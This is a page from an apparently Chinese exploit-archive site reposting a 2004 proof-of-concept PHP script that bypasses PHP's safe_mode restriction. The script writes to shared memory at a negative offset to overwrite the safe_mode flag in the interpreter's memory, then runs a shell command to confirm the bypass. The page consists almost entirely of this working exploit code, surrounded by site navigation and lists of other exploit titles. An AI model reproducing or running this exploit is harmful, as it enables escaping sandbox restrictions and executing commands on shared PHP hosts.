首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Php Safe_mode Bypass Proof of concept
来源:www.wisec.it 作者:Stefano 发布时间:2004-12-23  

Php Safe_mode Bypass Proof of concept

<?
/*
Php Safe_mode Bypass Proof of concept.

Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it

Disclaimer: The author is not responsible of any damage this script can
cause
-SECU
*/

$shm_id = shmop_open(0xff2, "c", 0644, 100);
if (!$shm_id) {
echo "Couldn't create shared memory segment\n";
die;
}

// $data="\x01";
// the new value for safe_mode
$data="\x00";

// this (-3842685) is my offset to reach core_globals.safe_mode
// taken with gdb. (0x40688d83)
$offset=-3842685;
// Lets write the new value at our offset.
$shm_bytes_written = shmop_write($shm_id, $data, $offset );
if ($shm_bytes_written != strlen($data)) {
echo "Couldn't write the entire length of data\n";
}

//Now lets delete the block and close the shared memory segment
if (!shmop_delete($shm_id)) {
echo "Couldn't mark shared memory block for deletion.";
}
shmop_close($shm_id);

// Let's try if safe mode has been set to off
echo passthru("id");
dl("shmop.so");
?>



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Snort <= 2.2.10 Remote Deni
·AIX 5.1 to 5.3 lsmcode Local R
·Webmin Remote BruteForce and C
·Internet Explorer and MSN Mess
·Santy.A - phpBB <= 2.0.10 W
·Linux Kernel 2.6.x sys_chown()
·AIX 5.3/5.2/5.1 "paginit" loca
·Solaris 7/8/9 CDE LibDTHelp Lo
·Ultrix 4.5/MIPS dxterm Local B
·Solaris 7/8/9 CDE LibDTHelp Lo
·Linux Kernel <= 2.6.9, <
·SHOUTcast DNAS/Linux v1.9.4 fo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved